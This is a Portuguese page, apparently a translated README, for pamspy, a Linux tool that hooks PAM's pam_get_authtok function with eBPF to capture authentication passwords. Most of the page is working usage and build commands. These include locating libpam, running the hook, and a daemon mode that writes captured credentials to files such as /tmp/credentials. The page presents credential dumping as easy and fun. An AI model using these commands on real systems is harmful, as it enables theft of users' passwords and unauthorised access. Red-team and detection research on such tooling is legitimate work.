
Dump de Credenciais para Linux usando eBPF
pamspy utiliza tecnologias eBPF para realizar um trabalho equivalente ao 3snake.
Ele rastreará uma função específica do espaço do usuário dentro da biblioteca PAM (Pluggable Authentication Modules), usada por muitas aplicações críticas para lidar com autenticação, como:

pamspy é compilado como um binário estático sem dependências, e está disponível na página de lançamentos.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
Como pamspy depende do libpam, precisamos definir o caminho onde o libpam está instalado na sua distribuição. Para descobrir onde o libpam está instalado, você pode executar o seguinte comando:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
Depois de obter o caminho, você pode executar pamspy:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Uma forma fácil de executar pamspy é usar o seguinte comando:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy também pode ser iniciado como um daemon fornecendo um arquivo de saída onde as credenciais serão escritas:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
Para compilar o binário estático, precisamos de programas de terceiros. Para eBPF, precisamos do clang para compilar o código C em código eBPF CO-RE. Também dependemos do bpftool para criar um esqueleto a partir do programa eBPF e incluí-lo em nosso programa no espaço do usuário. Em seguida, também precisamos do libelf para encontrar o símbolo correto no libpam.
sudo apt install make clang-11 gcc libelf-dev bpftool
Então é só compilar!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy carregará um programa eBPF de sonda de retorno no espaço do usuário para interceptar a função pam_get_authtok do libpam.so. PAM significa "Pluggable Authentication Modules" e possui um design flexível para gerenciar diferentes tipos de autenticação no Linux.
Cada vez que um processo de autenticação tenta verificar um novo usuário, ele chamará pam_get_authtok, e estaremos aqui para despejar o conteúdo dos segredos críticos!
Fácil! Aproveite!
Agradecimentos ao @blendin pela ferramenta 3snake !!!